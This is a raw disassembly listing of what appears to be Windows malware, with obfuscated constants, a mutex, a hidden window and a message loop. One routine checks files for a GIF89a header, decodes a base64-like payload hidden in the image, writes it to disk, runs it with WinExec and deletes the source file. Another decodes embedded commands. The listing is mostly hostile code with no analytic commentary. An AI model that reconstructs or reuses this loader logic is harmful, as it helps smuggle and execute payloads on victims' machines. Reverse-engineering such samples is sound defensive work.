		mov	[ebp+var_218], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_21C], eax
		mov	eax, [ebp+var_218]
		mov	edx, [ebp+var_21C]
		sub	eax, edx
		mov	[ebp+edi+var_1FE], al
		inc	edi


loc_4429B4:				; CODE XREF: sub_44287C+108j
		cmp	edi, ebx
		jb	short loc_442986
		movsx	eax, word_44B110
		sub	eax, 3
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_43D744
		add	esp, 0Ch
		mov	[ebp+var_214], eax
		mov	eax, dword_44B14C
		add	eax, 0FFF8h
		add	eax, dword_44B1B4
		cmp	[ebp+var_214], eax
		jz	short loc_442A04
		push	[ebp+var_208]
		call	ds:dword_447618	; LocalFree
		xor	eax, eax
		inc	eax
		jmp	short loc_442A41
; ---------------------------------------------------------------------------


loc_442A04:				; CODE XREF: sub_44287C+175j
		mov	eax, [ebp+var_20C]
		mov	edx, dword_44B1A4
		add	edx, dword_44B160
		sub	edx, 3
		add	eax, edx
		add	[ebp+var_204], eax
		mov	eax, [ebp+var_210]
		cmp	[ebp+var_204], eax
		jb	loc_4428C4
		push	[ebp+var_208]
		call	ds:dword_447618	; LocalFree
		xor	eax, eax


loc_442A41:				; CODE XREF: sub_44287C+2Cj
					; sub_44287C+186j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44287C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442A46	proc near		; CODE XREF: sub_43DEF2+2CDp
					; sub_4438E7+23Bp

var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 32Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_44A630
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_444B60
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_442A74:				; CODE XREF: sub_442A46+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442A74
		mov	edx, dword_44B160
		sub	edx, 7
		mov	ebx, eax
		sub	ebx, edx
		movsx	edx, word_44B194
		add	edx, dword_44B0F8
		sub	edx, 2
		mov	[ebp+ebx+var_316], dl
		mov	edi, dword_44B158


loc_442AA5:				; CODE XREF: sub_442A46+158j
		mov	eax, edi
		movsx	ecx, word_44B16C
		add	ecx, dword_44B094
		sub	ecx, 8
		mul	ecx
		mov	[ebp+var_320], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_320]
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, dword_44B0AC
		dec	ecx
		mul	ecx
		mov	[ebp+var_324], eax
		mov	eax, dword_44B178
		sub	eax, 2
		mov	edx, [ebp+var_324]
		add	edx, eax
		mov	eax, dword_44B0FC
		sub	eax, 7
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		mov	edx, dword_44B104
		sub	edx, 3
		cmp	eax, edx
		jnz	loc_442B9D
		mov	eax, edi
		movsx	ecx, word_44B0E0
		add	ecx, dword_44B0E4
		mul	ecx
		mov	[ebp+var_328], eax
		movsx	eax, word_44B19C
		add	eax, dword_44B1AC
		sub	eax, 8
		mov	edx, [ebp+var_328]
		add	edx, eax
		mov	eax, dword_44B0D4
		dec	eax
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, dword_44B11C
		add	ecx, dword_44B10C
		sub	ecx, 8
		mul	ecx
		mov	[ebp+var_32C], eax
		movsx	eax, word_44B0D8
		sub	eax, 2
		mov	edx, [ebp+var_32C]
		add	edx, eax
		movsx	eax, word_44B090
		add	eax, dword_44B0A4
		sub	eax, 3
		mov	[ebp+edx+var_212], al
		jmp	short loc_442BA3
; ---------------------------------------------------------------------------


loc_442B9D:				; CODE XREF: sub_442A46+D1j
		inc	edi
		jmp	loc_442AA5
; ---------------------------------------------------------------------------


loc_442BA3:				; CODE XREF: sub_442A46+155j
		cmp	dword_44B1EC, 0
		jz	short loc_442BE4
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	ds:dword_447600
		mov	esi, eax
		or	esi, esi
		jz	short loc_442BE4
		cmp	dword_44B1F0, 0
		jz	short loc_442C05
		mov	eax, dword_44B1AC
		sub	eax, 3
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	ds:dword_44501C


loc_442BE4:				; CODE XREF: sub_442A46+164j
					; sub_442A46+179j
		push	ds:dword_447610
		push	ds:off_44A610
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_43C38A
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_442C05:				; CODE XREF: sub_442A46+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442C0A	proc near		; DATA XREF: sub_440946+Co
					; sub_440946+2A5o

var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 158h
		push	ebx
		push	esi
		push	edi
		call	sub_43EA51
		call	sub_43AA12
		call	sub_442386
		call	sub_43AED7
		call	sub_4425F7
		call	sub_442822
		call	sub_43AD5A
		call	sub_44015B


loc_442C3E:				; CODE XREF: sub_442C0A+89j
		call	sub_4437B1
		mov	ebx, eax
		mov	[ebp+var_45], bl
		movzx	eax, [ebp+var_45]
		mov	edx, dword_44B1AC
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_442C6E
		mov	eax, dword_44B138
		add	eax, dword_44B18C
		sub	eax, 8
		push	eax
		call	ds:dword_44A660	; ExitThread


loc_442C6E:				; CODE XREF: sub_442C0A+4Dj
		movzx	eax, [ebp+var_45]
		mov	edx, dword_44B108
		inc	edx
		cmp	eax, edx
		jnz	short loc_442C95
		mov	eax, dword_44B1B4
		add	eax, 5Ch
		add	eax, dword_44B0FC
		push	eax
		call	ds:dword_44A630
		pop	ecx
		jmp	short loc_442C3E
; ---------------------------------------------------------------------------


loc_442C95:				; CODE XREF: sub_442C0A+71j
		push	offset dword_44B7D4
		call	sub_4424C1
		mov	[ebp+var_154], eax
		push	offset word_44B7CA
		call	sub_4424C1
		mov	esi, dword_44B1C8
		movsx	ebx, word_44B1BC
		add	esi, ebx
		sub	esi, 7
		push	esi
		push	eax
		mov	esi, [ebp+var_154]
		push	esi
		lea	esi, [ebp+var_144]
		push	esi
		call	ds:dword_44A634
		lea	eax, [ebp+var_144]
		push	eax
		push	0
		push	0
		call	ds:dword_44A61C	; CreateMutexA
		push	0
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	edi, eax
		push	offset dword_44B7C0
		call	sub_4424C1
		mov	[ebp+var_20], eax
		mov	[ebp+var_34], edi
		lea	eax, sub_440306
		mov	[ebp+var_40], eax
		push	7F00h
		push	0
		call	ds:dword_448220	; LoadCursorA
		mov	[ebp+var_2C], eax
		push	7F03h
		push	0
		call	ds:dword_44A620	; LoadIconA
		mov	[ebp+var_30], eax
		and	[ebp+var_24], 0
		push	0
		call	ds:dword_446120	; GetStockObject
		mov	[ebp+var_28], eax
		mov	[ebp+var_44], 3
		mov	eax, dword_44B17C
		add	eax, dword_44B09C
		sub	eax, 0Eh
		mov	[ebp+var_3C], eax
		mov	eax, dword_44B164
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	ds:dword_4470DC	; RegisterClassA
		push	offset word_44B7B6
		call	sub_4424C1
		mov	[ebp+var_158], eax
		push	offset dword_44B7AC
		call	sub_4424C1
		push	0
		push	edi
		push	0
		push	0
		mov	esi, dword_44B17C
		sub	esi, 6
		push	esi
		mov	esi, dword_44B0C0
		movsx	ebx, word_44B0E0
		add	esi, ebx
		dec	esi
		push	esi
		movsx	esi, word_44B100
		sub	esi, 9
		push	esi
		movsx	esi, word_44B168
		movsx	ebx, word_44B0DC
		add	esi, ebx
		sub	esi, 0Eh
		push	esi
		push	0CA0000h
		push	eax
		mov	esi, [ebp+var_158]
		push	esi
		mov	esi, dword_44B09C
		add	esi, dword_44B0A4
		sub	esi, 0Ah
		push	esi
		call	ds:dword_449648	; CreateWindowExA
		mov	ds:dword_44760C, eax
		lea	eax, [ebp+var_148]
		push	eax
		push	edi
		call	sub_43B333
		add	esp, 2Ch
		mov	[ebp+var_14C], eax
		mov	ds:off_44A610, eax
		mov	eax, [ebp+var_148]
		mov	ds:dword_447610, eax
		call	sub_43A33B
		lea	eax, [ebp+var_150]
		push	eax
		movsx	eax, word_44B100
		add	eax, dword_44B160
		sub	eax, 11h
		push	eax
		push	0
		push	offset sub_43E8A2
		mov	eax, dword_44B1C4
		sub	eax, 5
		push	eax
		push	0
		call	ds:dword_44AB90	; CreateThread
		push	eax
		call	ds:dword_449650	; CloseHandle
		call	sub_43B52C
		call	sub_43FEB1
		jmp	short loc_442E69
; ---------------------------------------------------------------------------


loc_442E55:				; CODE XREF: sub_442C0A+283j
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_44A77C	; TranslateMessage
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_445050	; DispatchMessageA


loc_442E69:				; CODE XREF: sub_442C0A+249j
		movsx	eax, word_44B114
		sub	eax, 2
		push	eax
		movsx	eax, word_44B170
		sub	eax, 8
		push	eax
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_448368	; GetMessageA
		or	eax, eax
		jnz	short loc_442E55
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_442C0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442E96	proc near		; CODE XREF: sub_43DAAC+219p
					; sub_43DAAC+22Bp

var_61DA0	= dword	ptr -61DA0h
var_61D9C	= dword	ptr -61D9Ch
var_61D98	= byte ptr -61D98h
var_61C99	= byte ptr -61C99h
var_61C98	= dword	ptr -61C98h
var_61C91	= byte ptr -61C91h
var_30F51	= byte ptr -30F51h
var_30F50	= dword	ptr -30F50h
var_30F4B	= byte ptr -30F4Bh
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E3E	= byte ptr -30E3Eh
var_30E3D	= byte ptr -30E3Dh
var_30E3C	= byte ptr -30E3Ch
var_30E3B	= byte ptr -30E3Bh
var_30E3A	= byte ptr -30E3Ah
var_30E15	= byte ptr -30E15h
var_30E14	= byte ptr -30E14h
var_30DBE	= byte ptr -30DBEh
var_30DBD	= byte ptr -30DBDh
var_30DBC	= byte ptr -30DBCh
var_30D46	= byte ptr -30D46h
var_30D43	= byte ptr -30D43h
var_30D41	= byte ptr -30D41h
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
var_30D3B	= byte ptr -30D3Bh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61DA0h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		and	[ebp+var_30F50], 0
		push	0
		mov	eax, dword_44B138
		add	eax, dword_44B174
		sub	eax, 11h
		push	eax
		push	3
		push	0
		mov	eax, dword_44B18C
		dec	eax
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_44A788	; CreateFileA
		mov	[ebp+var_30E48], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_443355
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		movsx	eax, word_44B114
		mov	edx, dword_44B120
		lea	eax, [eax+edx+80h]
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_445028	; ReadFile
		mov	[ebp+var_30E44], eax
		mov	eax, dword_44B17C
		add	eax, dword_44B12C
		sub	eax, 0Bh
		cmp	[ebp+var_30E44], eax
		jz	loc_443337
		cmp	[ebp+var_30E3F], 47h
		jnz	short loc_442F70
		cmp	[ebp+var_30E3E], 49h
		jnz	short loc_442F70
		cmp	[ebp+var_30E3D], 46h
		jnz	short loc_442F70
		cmp	[ebp+var_30E3C], 38h
		jnz	short loc_442F70
		cmp	[ebp+var_30E3B], 39h
		jnz	short loc_442F70
		cmp	[ebp+var_30E3A], 61h
		jz	short loc_442F75


loc_442F70:				; CODE XREF: sub_442E96+ABj
					; sub_442E96+B4j ...
		jmp	loc_443337
; ---------------------------------------------------------------------------


loc_442F75:				; CODE XREF: sub_442E96+D8j
		movzx	eax, [ebp+var_30E15]
		mov	edx, dword_44B1C0
		add	edx, 35h
		add	edx, dword_44B1B8
		cmp	eax, edx
		jnz	short loc_442FA1
		cmp	[ebp+var_30DBE], 3Dh
		jnz	short loc_442FA1
		cmp	[ebp+var_30DBD], 3Dh
		jz	short loc_442FA6


loc_442FA1:				; CODE XREF: sub_442E96+F7j
					; sub_442E96+100j
		jmp	loc_443337
; ---------------------------------------------------------------------------


loc_442FA6:				; CODE XREF: sub_442E96+109j
		or	ebx, ebx
		jnz	short loc_442FD5
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_30F51], al
		call	sub_443C06
		mov	edx, eax
		mov	[ebp+var_61C99], dl
		mov	al, [ebp+var_61C99]
		cmp	al, [ebp+var_30F51]
		jz	loc_443337


loc_442FD5:				; CODE XREF: sub_442E96+112j
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C91]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_445028	; ReadFile
		mov	[ebp+var_30E44], eax
		movsx	eax, word_44B100
		add	eax, dword_44B0A0
		sub	eax, 0Dh
		cmp	[ebp+var_30E44], eax
		jz	loc_443337
		mov	eax, [ebp+var_30E4C]
		mov	edx, dword_44B10C
		movsx	ecx, word_44B0D8
		add	edx, ecx
		sub	edx, 0Ch
		mov	[ebp+eax+var_61C91], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C91]
		push	eax
		call	sub_44335A
		add	esp, 0Ch
		mov	esi, eax
		mov	edi, dword_44B0D4
		dec	edi
		jmp	short loc_4430A2
; ---------------------------------------------------------------------------


loc_44305D:				; CODE XREF: sub_442E96+20Ej
		or	ebx, ebx
		jz	short loc_443074
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_4430A1
; ---------------------------------------------------------------------------


loc_443074:				; CODE XREF: sub_442E96+1C9j
		movzx	eax, [ebp+edi+var_30D40]
		mov	[ebp+var_61D9C], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA0], eax
		mov	eax, [ebp+var_61D9C]
		mov	edx, [ebp+var_61DA0]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_4430A1:				; CODE XREF: sub_442E96+1DCj
		inc	edi


loc_4430A2:				; CODE XREF: sub_442E96+1C5j
		cmp	edi, esi
		jb	short loc_44305D
		or	ebx, ebx
		jz	short loc_4430D6
		mov	eax, dword_44B0E4
		add	eax, dword_44B0FC
		sub	eax, 8
		mov	edx, esi
		sub	edx, eax
		movsx	eax, word_44B0F4
		movsx	ecx, word_44B148
		add	eax, ecx
		sub	eax, 0Ch
		mov	[ebp+edx+var_30D40], al


loc_4430D6:				; CODE XREF: sub_442E96+212j
		movsx	eax, word_44B100
		mov	edx, dword_44B134
		lea	eax, [eax+edx+77h]
		movsx	edx, word_44B154
		sub	edx, 8
		mov	[ebp+eax+var_30E3F], dl
		push	0FFh
		lea	eax, [ebp+var_61D98]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_44335A
		lea	eax, [ebp+var_61D98]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43C281
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		movsx	eax, word_44B0D8
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jnz	loc_443337
		mov	[ebp+var_30F50], 1
		or	ebx, ebx
		jz	loc_443288
		mov	eax, dword_44B124
		cmp	[ebp+eax+var_30D41], 64h
		jnz	loc_4431FC
		movzx	eax, [ebp+var_30D3F]
		mov	edx, dword_44B1C4
		add	edx, 1Bh
		sub	eax, edx
		mov	byte ptr [ebp+var_61D9C+3], al
		movzx	eax, byte ptr [ebp+var_61D9C+3]
		push	eax
		push	0
		call	sub_441FCC
		mov	eax, dword_44B130
		movsx	edx, word_44B0F4
		add	eax, edx
		sub	eax, 9
		mov	ds:dword_44761C, eax
		mov	eax, dword_44B178
		movsx	edx, word_44B090
		add	eax, edx
		sub	eax, 4
		mov	dword_44B290, eax
		mov	eax, dword_44B164
		add	eax, dword_44B160
		movsx	edx, word_44B090
		movsx	ecx, word_44B0E0
		add	edx, ecx
		dec	edx
		mov	[ebp+eax+var_30D46], dl
		mov	eax, dword_44B1A0
		add	eax, dword_44B0F0
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43B182
		add	esp, 10h


loc_4431FC:				; CODE XREF: sub_442E96+2CCj
		mov	eax, dword_44B104
		add	eax, dword_44B108
		cmp	[ebp+eax+var_30D43], 67h
		jnz	loc_443337
		mov	eax, dword_44B12C
		movsx	edx, word_44B154
		sub	edx, 8
		mov	[ebp+eax+var_30D3B], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	ds:dword_445054
		mov	[ebp+var_61D9C], eax
		push	eax
		push	offset dword_44A670
		call	sub_43E1CC
		mov	eax, dword_44B138
		sub	eax, 8
		mov	ds:dword_44761C, eax
		mov	eax, dword_44B098
		sub	eax, 7
		mov	dword_44B290, eax
		movsx	eax, word_44B19C
		add	eax, dword_44B11C
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43B182
		add	esp, 14h
		jmp	loc_443337
; ---------------------------------------------------------------------------


loc_443288:				; CODE XREF: sub_442E96+2B9j
		mov	eax, dword_44B1B0
		add	eax, 4
		add	eax, dword_44B178
		push	eax
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	sub_44244A
		push	offset dword_44B7A4
		call	sub_4424C1
		push	eax
		lea	edx, [ebp+var_30F4B]
		push	edx
		call	ds:dword_445020
		push	0
		push	80h
		push	2
		push	0
		movsx	eax, word_44B0E8
		add	eax, dword_44B12C
		sub	eax, 0Ah
		push	eax
		push	40000000h
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	ds:dword_44A788	; CreateFileA
		mov	[ebp+var_61C98], eax
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C98]
		call	ds:dword_44AB8C	; WriteFile
		push	[ebp+var_61C98]
		call	ds:dword_449650	; CloseHandle
		push	5
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	ds:dword_4470E0	; WinExec
		movzx	eax, [ebp+var_30F51]
		push	eax
		call	sub_43DE0F
		add	esp, 18h


loc_443337:				; CODE XREF: sub_442E96+9Ej
					; sub_442E96:loc_442F70j ...
		push	[ebp+var_30E48]
		call	ds:dword_449650	; CloseHandle
		cmp	[ebp+var_30F50], 0
		jz	short loc_443355
		push	[ebp+arg_0]
		call	ds:dword_445008	; DeleteFileA


loc_443355:				; CODE XREF: sub_442E96+4Dj
					; sub_442E96+4B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442E96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44335A	proc near		; CODE XREF: sub_44287C+F5p
					; sub_442E96+1B4p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_44B150
		sub	eax, 5
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	esi, eax
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_4], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_443483
; ---------------------------------------------------------------------------


loc_443388:				; CODE XREF: sub_44335A+131j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, dword_44B34C[edx]
		mov	eax, dword_44B0A4
		add	eax, dword_44B0C0
		sub	eax, 2
		neg	eax
		cmp	esi, eax
		jz	loc_443482
		mov	eax, [ebp+var_8]
		or	eax, eax
		jl	loc_44347F
		cmp	eax, 3
		jg	loc_44347F
		jmp	off_44B74C[eax*4]


loc_4433C8:				; DATA XREF: .data:off_44B74Co
		inc	[ebp+var_8]
		jmp	loc_44347F
; ---------------------------------------------------------------------------


loc_4433D0:				; CODE XREF: sub_44335A+67j
					; DATA XREF: .data:0044B750o
		mov	edx, [ebp+var_C]
		mov	ecx, dword_44B0CC
		add	ecx, dword_44B190
		sub	ecx, 2
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_18], eax
		mov	edx, esi
		and	edx, 30h
		mov	ecx, dword_44B0A0
		add	ecx, dword_44B130
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_44347F
; ---------------------------------------------------------------------------


loc_443413:				; CODE XREF: sub_44335A+67j
					; DATA XREF: .data:0044B754o
		mov	edx, [ebp+var_C]
		and	edx, 0Fh
		movsx	ecx, word_44B0F4
		sub	ecx, 5
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_1C], eax
		mov	edx, esi
		and	edx, 3Ch
		mov	ecx, dword_44B0B8
		sub	ecx, 2
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_1C]
		or	edx, eax
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_44347F
; ---------------------------------------------------------------------------


loc_443451:				; CODE XREF: sub_44335A+67j
					; DATA XREF: .data:0044B758o
		mov	edx, [ebp+var_C]
		and	edx, 3
		movsx	ecx, word_44B168
		sub	ecx, 2
		mov	eax, edx
		shl	eax, cl
		mov	edx, eax
		or	edx, esi
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		mov	eax, dword_44B0B8
		sub	eax, 4
		mov	[ebp+var_8], eax


loc_44347F:				; CODE XREF: sub_44335A+58j
					; sub_44335A+61j ...
		mov	[ebp+var_C], esi


loc_443482:				; CODE XREF: sub_44335A+4Dj
		inc	edi


loc_443483:				; CODE XREF: sub_44335A+29j
		cmp	byte ptr [edi],	0
		jz	short loc_443491
		cmp	ebx, [ebp+var_4]
		jb	loc_443388


loc_443491:				; CODE XREF: sub_44335A+12Cj
		cmp	byte ptr [edi],	0
		jnz	short loc_44349D
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_4434AD
; ---------------------------------------------------------------------------


loc_44349D:				; CODE XREF: sub_44335A+13Aj
		mov	eax, dword_44B1AC
		add	eax, dword_44B0E4
		sub	eax, 5
		neg	eax


loc_4434AD:				; CODE XREF: sub_44335A+141j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44335A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4434B2	proc near		; CODE XREF: sub_43FEB1+184p
					; sub_43FEB1+202p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, dword_44B164
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44C8DC
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, dword_44B138
		add	eax, dword_44B0F8
		sub	eax, 0Ah
		cmp	edi, eax
		jz	short loc_4434EE
		xor	eax, eax
		jmp	short loc_443558
; ---------------------------------------------------------------------------


loc_4434EE:				; CODE XREF: sub_4434B2+36j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		movsx	eax, word_44B100
		sub	eax, 9
		cmp	edi, eax
		jnz	short loc_44354D
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		mov	eax, dword_44B138
		add	eax, dword_44B0EC
		sub	eax, 0Dh
		cmp	edi, eax
		jnz	short loc_443544
		mov	eax, dword_44B164
		movsx	edx, word_44B100
		mov	esi, eax
		add	esi, edx
		sub	esi, 8


loc_443544:				; CODE XREF: sub_4434B2+7Dj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_44354D:				; CODE XREF: sub_4434B2+5Aj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_443558:				; CODE XREF: sub_4434B2+3Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4434B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_44355D	proc near		; DATA XREF: .data:0044B2E4o
		mov	eax, 80004001h
		retn	8
sub_44355D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443565	proc near		; CODE XREF: sub_43C281+C5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		movsx	eax, word_44B16C
		add	eax, dword_44B0F0
		sub	eax, 8
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_449630	; VirtualFree
		pop	ebp
		retn
sub_443565	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443589	proc near		; CODE XREF: sub_443E95+239p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	1
		push	[ebp+arg_4]
		call	sub_43B780
		add	esp, 8
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	loc_4437AC
		mov	[ebp+var_18], 8
		push	offset dword_44B794
		call	sub_43EFD7
		pop	ecx
		push	eax
		call	ds:dword_445044
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word_44B0D8
		movsx	edx, word_44B0E8
		add	eax, edx
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_443790
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset dword_44C91C
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44B194
		add	eax, dword_44B174
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_443787
		mov	[ebp+var_30], 2
		mov	eax, dword_44B0CC
		dec	eax
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_3C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word_44B0F4
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_44377E
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44C90C
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		cmp	ebx, dword_44B164
		jnz	loc_443775
		inc	ds:dword_44761C
		mov	eax, dword_44B160
		add	eax, 2
